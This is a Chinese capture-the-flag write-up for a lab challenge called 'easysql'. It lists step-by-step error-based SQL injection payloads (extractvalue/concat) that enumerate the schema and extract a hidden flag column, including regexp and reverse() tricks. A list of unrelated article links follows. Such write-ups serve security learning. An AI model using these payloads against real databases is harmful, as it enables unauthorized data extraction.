-
Pwn The Box——easysql
目录
获取real_flag_1s_here字段中的字段值,发现被隐藏
根据题目发现是一个登录注册界面，估计是二次注入，注册一个带有”的账号，发现报错，那么采用报错注入来获取flag
获取数据库名
命令：1"&&(extractvalue(1,concat(1,(select(database())))))#
获取表名
命令：1"&&(extractvalue(1,concat(1,(select(group_concat(table_name))from(information_schema.tables)where(table_schema="web_sqli")))))#
获取flag表中的字段名
命令：1"&&(extractvalue(1,concat(1,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')))))#
获取flag字段中的字段值，发现flag并不在这
命令：1"&&(extractvalue(1,concat(1,(select(group_concat(flag))from(flag)))))#
获取users表中的字段名
命令：1"&&(extractvalue(1,concat(1,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')))))#
获取real_flag_1s_here字段中的字段值,发现被隐藏
命令：1"&&(extractvalue(1,concat(1,(select(group_concat(real_flag_1s_here))from(users)))))#
采用正则绕过方法，查看flag，发现缺少一部分
命令：1"&&(extractvalue(1,concat(1,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^P')))))#
反向输出flag
命令：1"&&(extractvalue(1,concat(1,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^P'))))))#
-
相关阅读:
离开二线城市石家庄（勉强算二线吧）去北漂，入职外包测试岗一个月想辞职了～
Python实操案例四
(续)SSM整合之springmvc笔记(SpringMVC简介)（P119-123）还没完
STM32—按键控制LED（定时器）
开发仿抖音APP遇到的问题和解决方案
Redis缓存穿透，背八股文 居然没用！！！
双目视觉检测 KX02-SY1000型测宽仪 有效修正和消除距离变化对测量的影响
怎么把旧电脑的用户配置文件迁移到新电脑
Excel文件损坏打不开怎么办？可用这三招解决！
chainlink2022年春季编程马拉松
- 原文地址：https://blog.csdn.net/longlangci/article/details/126330978